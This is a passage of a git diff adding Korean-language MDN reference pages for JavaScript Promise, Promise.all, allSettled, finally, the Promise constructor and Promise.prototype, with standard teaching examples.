+ setTimeout(() =&gt; resolve('넷'), 4000);
+});
+var p5 = new Promise((resolve, reject) =&gt; {
+ reject(new Error('거부'));
+});
+
+
+// .catch 사용:
+Promise.all([p1, p2, p3, p4, p5])
+.then(values =&gt; {
+ console.log(values);
+})
+.catch(error =&gt; {
+ console.log(error.message)
+});
+
+// 콘솔 출력값:
+// "거부"
+</pre>
+
+<p>발생할 수 있는 거부를 사전에 처리해 동작 방식을 바꿀 수 있습니다.</p>
+
+<pre class="brush: js">var p1 = new Promise((resolve, reject) =&gt; {
+ setTimeout(() =&gt; resolve('p1_지연_이행'), 1000);
+});
+
+var p2 = new Promise((resolve, reject) =&gt; {
+ reject(new Error('p2_즉시_거부'));
+});
+
+Promise.all([
+ p1.catch(error =&gt; { return error }),
+ p2.catch(error =&gt; { return error }),
+]).then(values =&gt; {
+ console.log(values[0]) // "p1_지연_이행"
+ console.log(values[1]) // "Error: p2_즉시_거부"
+})
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-promise.all', 'Promise.all')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition in an ECMA standard.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Promise.all")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.race()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/allsettled/index.html b/files/ko/web/javascript/reference/global_objects/promise/allsettled/index.html
new file mode 100644
index 0000000000..a063f29c7c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/allsettled/index.html
@@ -0,0 +1,66 @@
+---
+title: Promise.allSettled()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/allSettled
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/allSettled
+---
+<p>{{JSRef}}</p>
+
+<p><code><strong>Promise.allSettled()</strong></code> 메소드는 배열이나 별도의 나열 가능한 객체를 통해 나열된 Promise모음이 모두 이행하거나 거부했을 때에 대한 대응을 할 수 있는 Promise 객체를 반환한다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-allsettled.html")}}</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>Promise</em>.allSettled(<em>iterable</em>);</pre>
+
+<h3 id="인자">인자</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd><a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a> 객체로, 주로 배열({{jsxref("Array")}})을 사용하며, 이들의 요소들은 모두 <code>Promise</code> 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><strong>실행할</strong> {{jsxref("Promise")}} 객체로 <strong>비동기</strong> 방식으로 이행(Resolved) 및 거부(Rejected)된 결과의 모음을 담아 인자로 전달된다. 이 때 반환된 Promise 객체의 핸들러는 각 본래 Promise 객체가 담긴 배열을 전달할 것이다.</p>
+
+<p>각 출력 객체는 <code>status</code> 속성을 통해,  <code>fulfilled</code>,상태로 전달되면 <code>value</code> 속성이 전달되고, <code>rejected</code> 상태로 전달 시 <code>reason</code> 속성으로 전달된다. 각 Promise가 어떻게 이행(또는 거부)됐는지 value 속성 및 reason 속성을 통해 알 수 있다.</p>
+
+<h2 id="문서_표준">문서 표준</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td><a href="https://tc39.es/proposal-promise-allSettled/#sec-promise.allsettled"><code>Promise.allSettled()</code> (TC39 Stage 4 Draft)</a></td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="지원_브라우저">지원 브라우저</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.allSettled")}}</p>
+
+<h3 id="구현_진행_상태">구현 진행 상태</h3>
+
+<p>The following table provides a daily implementation status for this feature, because this feature has not yet reached cross-browser stability. The data is generated by running the relevant feature tests in <a href="https://github.com/tc39/test262">Test262</a>, the standard test suite of JavaScript, in the nightly build, or latest release of each browser's JavaScript engine.</p>
+
+<div>{{EmbedTest262ReportResultsTable("Promise.allSettled")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Archive/Add-ons/Techniques/Promises">Promises</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_promises">Using promises</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with promises</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.all()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/finally/index.html b/files/ko/web/javascript/reference/global_objects/promise/finally/index.html
new file mode 100644
index 0000000000..c75d73ab06
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/finally/index.html
@@ -0,0 +1,100 @@
+---
+title: Promise.prototype.finally()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/finally
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>finally()</strong></code> 메소드는 {{jsxref("Promise")}} 객체를 반환합니다. Promise가 처리되면 충족되거나 거부되는지 여부에 관계없이 지정된 콜백 함수가 실행됩니다. 이것은 Promise가 성공적으로 수행 되었는지 거절되었는지에 관계없이 <code>Promise</code>가 처리 된 후에 코드가 무조건 한 번은 실행되는 것을 제공합니다.</p>
+
+<p>이것은 Promise의 {{jsxref("Promise.then", "then()")}}과 {{jsxref("Promise.catch", "catch()")}} 핸들러에서의 코드 중복을 피하게 합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>p.finally(onFinally)</var>;
+
+p.finally(function() {
+ // settled (fulfilled or rejected)
+});
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>onFinally</code></dt>
+ <dd><code>Promise</code>가 처리된 후 {{jsxref("Function")}} 이 호출됩니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>finally</code> 핸들러는 <code>onFinally</code> 라는 지정된 함수의 {{jsxref("Promise")}}가 반환됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p> </p>
+
+<p><code>finally()</code> 메서드는 결과에 관계없이 promise가 처리되면 무언가를 프로세싱 또는 정리를 수행하려는 경우에 유용합니다.</p>
+
+<p><code>finally()</code> 메서드는 <code>.then(onFinally, onFinally)</code> 를 호출하는 것과 매우 비슷하지만 몇 가지 차이점이 있습니다:</p>
+
+<p> </p>
+
+<ul>
+ <li>함수를 인라인으로 만들 때, 두 번 선언해야 하지 않고 한 번만 전달하거나 그것을 위한 변수를 만들 수 있습니다.</li>
+ <li><code>finally</code> 콜백은 어떠한 인수도 전달받지 않습니다, 왜냐하면 promise가 이행되었는지 또는 거부되었는지를 판단할 수 없기 때문입니다.  promise의 왜 거부되었는지 또는 이행되었을때 반환되는 값이 필요하지 않거나 제공할 필요가 없을 때 활용합니다.</li>
+ <li>Promise.reject (3) .finally (() =&gt; {}) Promise.reject (3) .finally (() =&gt; {}) (약속 안 함) )는 3으로 거부됩니다.</li>
+ <li><code>Promise.resolve(2).then(() =&gt; {}, () =&gt; {})</code>(<code>undefined</code>로 해결될) 와 달리, <code>Promise.resolve(2).finally(() =&gt; {})</code> 는 값 <code>2</code>로 해결됩니다.</li>
+ <li>유사하게 <code>Promise.reject(3).then(() =&gt; {}, () =&gt; {})</code> (<code>undefined</code>로 거부될)와는 달리 <code>Promise.reject(3).finally(() =&gt; {})</code> 는 값 <code>3</code>로 거부됩니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong>  <code>finally</code> 콜백에서 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5); font-size: 16px;">throw</span></font> (또는 거부된 promise를 반환)하면 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5); font-size: 16px;">throw()</span></font>를 호출 할 때 지정된 거부 이유로 새롭게 만들어진 promise를 반환합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let isLoading = true;
+
+fetch(myRequest).then(function(response) {
+ var contentType = response.headers.get("content-type");
+ if(contentType &amp;&amp; contentType.includes("application/json")) {
+ return response.json();
+ }
+ throw new TypeError("Oops, we haven't got JSON!");
+ })
+ .then(function(json) { /* process your JSON further */ })
+ .catch(function(error) { console.log(error); })
+ .finally(function() { isLoading = false; });
+
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td><a href="https://github.com/tc39/proposal-promise-finally">TC39 proposal</a></td>
+ <td>Stage 4</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.finally")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.then()")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/index.html b/files/ko/web/javascript/reference/global_objects/promise/index.html
new file mode 100644
index 0000000000..d3dbf076c5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/index.html
@@ -0,0 +1,226 @@
+---
+title: Promise
+slug: Web/JavaScript/Reference/Global_Objects/Promise
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Promise
+ - Reference
+ - 프로미스
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Promise</code></strong> 객체는 비동기 작업이 맞이할 미래의 완료 또는 실패와 그 결과 값을 나타냅니다.</p>
+
+<p>Promise의 작동 방식과 Promise 사용 방법에 대해 알아보려면 먼저 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Using_promises">Promise 사용 방법</a>을 읽어 보십시오.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Promise</code>는 프로미스가 생성될 때 꼭 알 수 있지는 않은 값을 위한 대리자로, 비동기 연산이 종료된 이후의 결과값이나 실패 이유를 처리하기 위한 처리기를 연결할 수 있도록 합니다. 프로미스를 사용하면 비동기 메서드에서 마치 동기 메서드처럼 값을 반환할 수 있습니다. 다만 최종 결과를 반환하지는 않고, 대신 프로미스를 반환해서 미래의 어떤 시점에 결과를 제공합니다.</p>
+
+<p><code>Promise</code>는 다음 중 하나의 상태를 가집니다.</p>
+
+<ul>
+ <li>대기(<em>pending)</em>: 이행하거나 거부되지 않은 초기 상태.</li>
+ <li>이행(<em>fulfilled)</em>: 연산이 성공적으로 완료됨.</li>
+ <li>거부(<em>rejected)</em>: 연산이 실패함.</li>
+</ul>
+
+<p>대기 중인 프로미스는 값과 함께 <em>이행할</em> 수도, 어떤 이유(오류)로 인해 <em>거부</em>될 수 있습니다. 이행이나 거부될 때, 프로미스에 연결한 처리기는 그 프로미스의 <code>then</code> 메서드에 의해 대기열에 오릅니다. 이미 이행했거나 거부된 프로미스에 연결한 처리기도 호출하므로, 비동기 연산과 처리기 연결 사이에 경합 조건<sup>race condition</sup>은 없습니다.</p>
+
+<p>{{jsxref("Promise.prototype.then()")}} 및 {{jsxref("Promise.prototype.catch()")}} 메서드의 반환 값은 다른 프로미스이므로, 서로 연결할 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png"></p>
+
+<div class="note">
+<p><strong>혼동 주의:</strong> 느긋한 계산법 및 연산 연기를 위한 방법을 프로미스라고 부르는 다른 언어(예: Scheme)가 여럿 있습니다. 반면 JavaScript에서 프로미스는 콜백 함수를 연결할 수 있는 이미 진행 중인 프로세스를 나타냅니다. 표현식을 느긋하게 평가하려면 인수 없는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수</a> <code>f = () =&gt; <em>expression</em></code>를 사용하고, <code>f()</code>를 사용해 평가하세요.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 프로미스는 대기 중이지 않으며 이행 또는 거부됐을 때 처리(settled)됐다고 말합니다. 프로미스와 함께 쓰이는 단어 resolved는 프로미스가 다른 프로미스의 상태에 맞춰 처리됨, 또는 상태가 "잠김"되었다는 의미입니다. 용어에 관한 더 자세한 설명은 Domenic Denicola의 글 <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md" title="States and fates">States and fates</a>에서 볼 수 있습니다.</p>
+</div>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.Promise", "Promise()")}}</dt>
+ <dd>이미 프로미스를 지원하지 않는 함수를 감쌀 때 주로 사용합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Promise.length</code></dt>
+ <dd>값이 언제나 1인 길이 속성입니다. (생성자 인수의 수)</dd>
+ <dt>{{jsxref("Promise.prototype")}}</dt>
+ <dd><code>Promise</code> 생성자의 프로토타입을 나타냅니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt>
+ <dd><code>iterable</code> 내의 모든 프로미스가 이행한 뒤 이행하고, 어떤 프로미스가 거부하면 즉시 거부하는 프로미스를 반환합니다. 반환된 프로미스가 이행하는 경우 <code>iterable</code> 내의 프로미스가 결정한 값을 모은 배열이 이행 값입니다. 반환된 프로미스가 거부하는 경우 <code>iterable</code> 내의 거부한 프로미스의 이유를 그대로 사용합니다. 이 메서드는 여러 프로미스의 결과를 모을 때 유용합니다.</dd>
+ <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt>
+ <dd><code>iterable</code> 내의 어떤 프로미스가 이행하거나 거부하는 즉시 스스로 이행하거나 거부하는 프로미스를 반환합니다. 이행 값이나 거부 이유는 원 프로미스의 값이나 이유를 그대로 사용합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.reject()")}}</dt>
+ <dd>주어진 이유로 거부하는 <code>Promise</code> 객체를 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.resolve()")}}</dt>
+ <dd>주어진 값으로 이행하는 <code>Promise</code> 객체를 반환합니다. 값이 <code>then</code> 가능한 (즉, <code>then</code> 메서드가 있는) 경우, 반환된 프로미스는 <code>then</code> 메서드를 따라가고 마지막 상태를 취합니다. 그렇지 않은 경우 반환된 프로미스는 주어진 값으로 이행합니다. 어떤 값이 프로미스인지 아닌지 알 수 없는 경우, {{jsxref("Promise.resolve", "Promise.resolve(value)")}} 후 반환값을 프로미스로 처리할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Promise_프로토타입"><code>Promise</code> 프로토타입</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/prototype','속성')}}</p>
+
+<h3 id="메서드_2">메서드</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/prototype','메서드')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: js notranslate">let myFirstPromise = new Promise((resolve, reject) =&gt; {
+ // We call resolve(...) when what we were doing asynchronously was successful, and reject(...) when it failed.
+ // In this example, we use setTimeout(...) to simulate async code.
+ // In reality, you will probably be using something like XHR or an HTML5 API.
+ setTimeout(function(){
+ resolve("Success!"); // Yay! Everything went well!
+ }, 250);
+});
+
+myFirstPromise.then((successMessage) =&gt; {
+ // successMessage is whatever we passed in the resolve(...) function above.
+ // It doesn't have to be a string, but if it is only a succeed message, it probably will be.
+ console.log("Yay! " + successMessage);
+});</pre>
+
+<h3 id="고급_예제">고급 예제</h3>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;button id="btn"&gt;프로미스 만들기!&lt;/button&gt;
+&lt;div id="log"&gt;&lt;/div&gt;</pre>
+</div>
+
+<p>다음의 작은 예제는 <code>Promise</code>의 동작 방식을 보여줍니다. <code>testPromise()</code> 함수는 {{HTMLElement("button")}}을 클릭할 때마다 호출되며, {{domxref("window.setTimeout()")}}을 사용해 1~3초의 무작위 간격 이후 프로미스 횟수(1부터 시작하는 숫자)로 이행하는 프로미스를 생성합니다. <code>Promise()</code> 생성자는 프로미스를 만드는 데 쓰입니다.</p>
+
+<p>프로미스 이행은 {{jsxref("Promise.prototype.then()","p1.then()")}}을 사용하는 이행 콜백 세트를 통해 단순히 로그에 남습니다. 약간의 로그를 통해, 함수의 동기 부분이 비동기적 프로미스의 완료와 어떻게 분리되어 있는지 확인할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">'use strict';
+var promiseCount = 0;
+
+function testPromise() {
+ var thisPromiseCount = ++promiseCount;
+
+ var log = document.getElementById('log');
+ log.insertAdjacentHTML('beforeend', thisPromiseCount +
+ ') 시작 (&lt;small&gt;동기적 코드 시작&lt;/small&gt;)&lt;br/&gt;');
+
+ // 새 프로미스 생성 - 프로미스의 생성 순서를 전달하겠다는 약속을 함 (3초 기다린 후)
+ var p1 = new Promise(
+ // 실행 함수는 프로미스를 이행(resolve)하거나
+ // 거부(reject)할 수 있음
+ function(resolve, reject) {
+ log.insertAdjacentHTML('beforeend', thisPromiseCount +
+ ') 프로미스 시작 (&lt;small&gt;비동기적 코드 시작&lt;/small&gt;)&lt;br/&gt;');
+ // setTimeout은 비동기적 코드를 만드는 예제에 불과
+ window.setTimeout(
+ function() {
+ // 프로미스 이행 !
+ resolve(thisPromiseCount);
+ }, Math.random() * 2000 + 1000);
+ }
+ );
+
+ // 프로미스를 이행했을 때 할 일은 then() 호출로 정의하고,
+ // 거부됐을 때 할 일은 catch() 호출로 정의
+ p1.then(
+ // 이행 값 기록
+ function(val) {
+ log.insertAdjacentHTML('beforeend', val +
+ ') 프로미스 이행 (&lt;small&gt;비동기적 코드 종료&lt;/small&gt;)&lt;br/&gt;');
+ })
+ .catch(
+ // 거부 이유 기록
+ function(reason) {
+ console.log('여기서 거부된 프로미스(' + reason + ')를 처리하세요.');
+ });
+
+ log.insertAdjacentHTML('beforeend', thisPromiseCount +
+ ') 프로미스 생성 (&lt;small&gt;동기적 코드 종료&lt;/small&gt;)&lt;br/&gt;');
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: js notranslate">if ("Promise" in window) {
+ var btn = document.getElementById("btn");
+ btn.addEventListener("click", testPromise);
+} else {
+ log = document.getElementById('log');
+ log.innerHTML = "Live example not available as your browser doesn't support the &lt;code&gt;Promise&lt;code&gt; interface.";
+}</pre>
+</div>
+
+<p>이 예제는 버튼을 클릭하면 실행됩니다. <code>Promise</code>를 지원하는 브라우저가 필요합니다. 짧은 시간 안에 버튼을 여러 번 클릭하여, 서로 다른 프로미스가 번갈아 이행되는 것을 볼 수도 있습니다.</p>
+
+<p>{{EmbedLiveSample("고급_예제", "500", "200")}}</p>
+
+<h2 id="XHR로_이미지_불러오기">XHR로 이미지 불러오기</h2>
+
+<p>이미지를 로드하기 위해 <code>Promise</code> 및 {{domxref("XMLHttpRequest")}}를 사용하는 또 다른 간단한 예는 MDN GitHub <a href="https://github.com/mdn/js-examples/tree/master/promises-test">js-examples</a> 저장소에서 이용할 수 있습니다. <a href="http://mdn.github.io/promises-test/">실제 예</a>를 볼 수도 있습니다. 각 단계에 주석이 붙어있어, 프로미스 및 XHR 구조를 차근차근 따라갈 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-promise-objects', 'Promise')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>ECMA 표준에서 초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Promise")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Using_promises">프로미스 사용하기</a></li>
+ <li><a href="http://promisesaplus.com/">Promises/A+ 스펙</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/promises-of-promise-part-1-53f769245a53">Venkatraman.R - JS Promise (Part 1, Basics)</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/js-promise-part-2-q-js-when-js-and-rsvp-js-af596232525c#.dzlqh6ski">Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js)</a></li>
+ <li><a href="https://tech.io/playgrounds/11107/tools-for-promises-unittesting/introduction">Venkatraman.R - Tools for Promises Unit Testing</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/es6/promises/">Jake Archibald: JavaScript Promises: There and Back Again</a></li>
+ <li><a href="http://de.slideshare.net/domenicdenicola/callbacks-promises-and-coroutines-oh-my-the-evolution-of-asynchronicity-in-javascript">Domenic Denicola: Callbacks, Promises, and Coroutines – Asynchronous Programming Patterns in JavaScript</a></li>
+ <li><a href="http://www.mattgreer.org/articles/promises-in-wicked-detail/">Matt Greer: JavaScript Promises ... In Wicked Detail</a></li>
+ <li><a href="https://www.promisejs.org/">Forbes Lindesay: promisejs.org</a></li>
+ <li><a href="https://github.com/jakearchibald/es6-promise/">Promise polyfill</a></li>
+ <li><a href="https://www.udacity.com/course/javascript-promises--ud898">Udacity: JavaScript Promises</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/promise/index.html b/files/ko/web/javascript/reference/global_objects/promise/promise/index.html
new file mode 100644
index 0000000000..531b82dbca
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/promise/index.html
@@ -0,0 +1,78 @@
+---
+title: Promise() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/Promise/Promise
+tags:
+ - Constructor
+ - JavaScript
+ - Promise
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/Promise
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Promise</code></strong> 생성자는 주로 프로미스를 지원하지 않는 함수를 감쌀 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-constructor.html")}}</div>
+
+<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Promise(<var>executor</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>executor</code></dt>
+ <dd><code>resolve</code> 및 <code>reject</code> 인수를 전달할 실행 함수. 실행 함수는 프로미스 구현에 의해 <code>resolve</code>와 <code>reject</code> 함수를 받아 즉시 실행됩니다(실행 함수는 <code>Promise</code> 생성자가 생성한 객체를 반환하기도 전에 호출됩니다). <code>resolve</code> 및 <code>reject</code> 함수는 호출할 때 각각 프로미스를 이행하거나 거부합니다. 실행 함수는 보통 어떤 비동기 작업을 시작한 후 모든 작업을 끝내면 <code>resolve</code>를 호출해 프로미스를 이행하고, 오류가 발생한 경우 <code>reject</code>를 호출해 거부합니다. 실행 함수에서 오류를 던지면 프로미스는 거부됩니다. 실행 함수의 반환값은 무시됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p><code>Promise</code> 객체는 <code>new</code> 키워드와 생성자를 사용해 만듭니다. 생성자는 매개변수로 "실행 함수"를 받습니다. 이 함수는 매개 변수로 두 가지 함수를 받아야 하는데, 첫 번째 함수(<code>resolve</code>)는 비동기 작업을 성공적으로 완료해 결과를 값으로 반환할 때 호출해야 하고, 두 번째 함수(<code>reject</code>)는 작업이 실패하여 오류의 원인을 반환할 때 호출하면 됩니다. 두 번째 함수는 주로 오류 객체를 받습니다.</p>
+
+<pre class="brush: js;">const myFirstPromise = new Promise((resolve, reject) =&gt; {
+ // do something asynchronous which eventually calls either:
+ //
+ // resolve(someValue) // fulfilled
+ // or
+ // reject("failure reason") // rejected
+});
+</pre>
+
+<p>함수에 프로미스 기능을 추가하려면, 간단하게 프로미스를 반환하도록 하면 됩니다.</p>
+
+<pre class="brush: js;">function myAsyncFunction(url) {
+ return new Promise((resolve, reject) =&gt; {
+ const xhr = new XMLHttpRequest()
+ xhr.open("GET", url)
+ xhr.onload = () =&gt; resolve(xhr.responseText)
+ xhr.onerror = () =&gt; reject(xhr.statusText)
+ xhr.send()
+ });
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-promise-constructor', 'Promise constructor')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Promise.Promise")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Using_promises">프로미스 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/prototype/index.html b/files/ko/web/javascript/reference/global_objects/promise/prototype/index.html
new file mode 100644
index 0000000000..4569b4d26a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/prototype/index.html
@@ -0,0 +1,71 @@
+---
+title: Promise.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Promise/prototype
+tags:
+ - JavaScript
+ - Promise
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Promise.prototype</code></strong> 속성은 {{jsxref("Promise")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Promise")}} 인스턴스는 {{jsxref("Promise.prototype")}}을 상속합니다. 모든 <code>Promise</code> 인스턴스에 속성 또는 메서드를 추가하기 위해 생성자의 프로토타입 객체를 사용할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Promise.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 만드는 함수를 반환합니다. 기본값은 {{jsxref("Promise")}} 함수입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.prototype.catch()")}}</dt>
+ <dd>프로미스(promise)에 거부 처리기 콜백을 추가하고 호출된 경우 콜백의 반환값 또는 프로미스가 대신 이행된 경우 그 원래 이행(fulfillment)값으로 결정하는(resolving) 새 프로미스를 반환합니다.</dd>
+ <dt>{{jsxref("Promise.prototype.then()")}}</dt>
+ <dd>프로미스에 이행 또는 거부 처리기를 추가하고 호출된 처리기의 반환값 또는 프로미스가 처리되지 않은 경우 그 원래 처리된(settled) 값으로 결정하는 새 프로미스를 반환합니다 (즉 관련 처리기 <code>onFulfilled</code> 또는 <code>onRejected</code>가 <code>undefined</code>인 경우).</dd>
+ <dt>{{jsxref("Promise.prototype.finally()")}}</dt>
+ <dd>Appends a handler to the promise, and returns a new promise which is resolved when the original promise is resolved. The handler is called when the promise is settled, whether fulfilled or rejected.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
